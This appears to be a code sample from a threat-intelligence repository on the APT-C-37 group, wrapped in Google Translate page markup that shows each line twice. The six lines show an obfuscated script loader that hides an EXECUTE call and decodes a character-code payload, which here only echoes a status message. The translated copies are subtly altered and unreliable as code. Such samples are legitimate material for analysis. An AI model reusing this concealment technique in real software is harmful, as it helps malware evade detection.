CyberThreatIntel/Unknown/APT-C-37/26-08-19/Images/code.vb
2019-09-07 01:27:18 +02:00

6 lines
2.4 KiB
VB.net

<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE = new ActiveXObject ("MSSCRIPTCONTROL.SCRIPTCONTROL");</span> VBS_ENGINE = new ActiveXObject ("MSSCRIPTCONTROL.SCRIPTCONTROL");</span>
<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE.LANGUAGE = "VBSCRIPT";</span> VBS_ENGINE.LANGUAGE = "VBSCRIPT";</span>
<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE.TIMEOUT = -1;</span> VBS_ENGINE.TIMEOUT = -1;</span>
<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE.ADDOBJECT ("WSCRIPT",WScript);</span> VBS_ENGINE.ADDOBJECT ("WSCRIPT", WScript);</span>
<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE.ADDCODE ("FUNCTION SPLTER (HOUDINI):HOUDINI = SPLIT (HOUDINI,"+String.fromCharCode(34)+" "+String.fromCharCode(34)+"):H = 0:WHILE H < UBOUND(HOUDINI):SPLTER = SPLTER & CHR(HOUDINI(H)):H = H + 1:WEND:END FUNCTION");</span> VBS_ENGINE.ADDCODE ("FUNCTION SPLTER (HOUDINI): HOUDINI = SPLIT (HOUDINI," + String.fromCharCode (34) + "" + String.fromCharCode (34) + ")): H = 0: WHILE H <UBOUND (HOUDINI) : SPLTER = SPLTER & CHR (HOUDINI (H)): H = H + 1: WEND: END FUNCTION ");</span>
<span class="notranslate" onmouseover="_tipon(this)" onmouseout="_tipoff()"><span class="google-src-text" style="direction: rtl; text-align: right">VBS_ENGINE.ADDCODE ("E"+"X"+"E"+"C"+"U"+"T"+"E"+"(SPLTER ("+String.fromCharCode(34)+"109 115 103 32 61 32 34 117 112 108 111 97 100 101 32 97 110 100 32 101 120 101 99 32 116 101 114 109 105 110 101 116 101 100 34 13 10 119 115 99 114 105 112 116 46 101 99 104 111 32 109 115 103 "+String.fromCharCode(34)+"))");</span> VBS_ENGINE.ADDCODE ("E" + "X" + "E" + "C" + "U" + "T" + "E" + "(SPLTER (" + String.fromCharCode (34) + "109 115 103 32 61 32 34 117 112 108 111 97 100 101 32 97 110 100 32 101 120 101 99 32 116 101 114 109 105 110 101 116 101 100 34 13 10 119 115 99 114 105 112 116 46 101 99 104 111 32 109 115 103 " + String.fromCharCode (34) + "))");</span>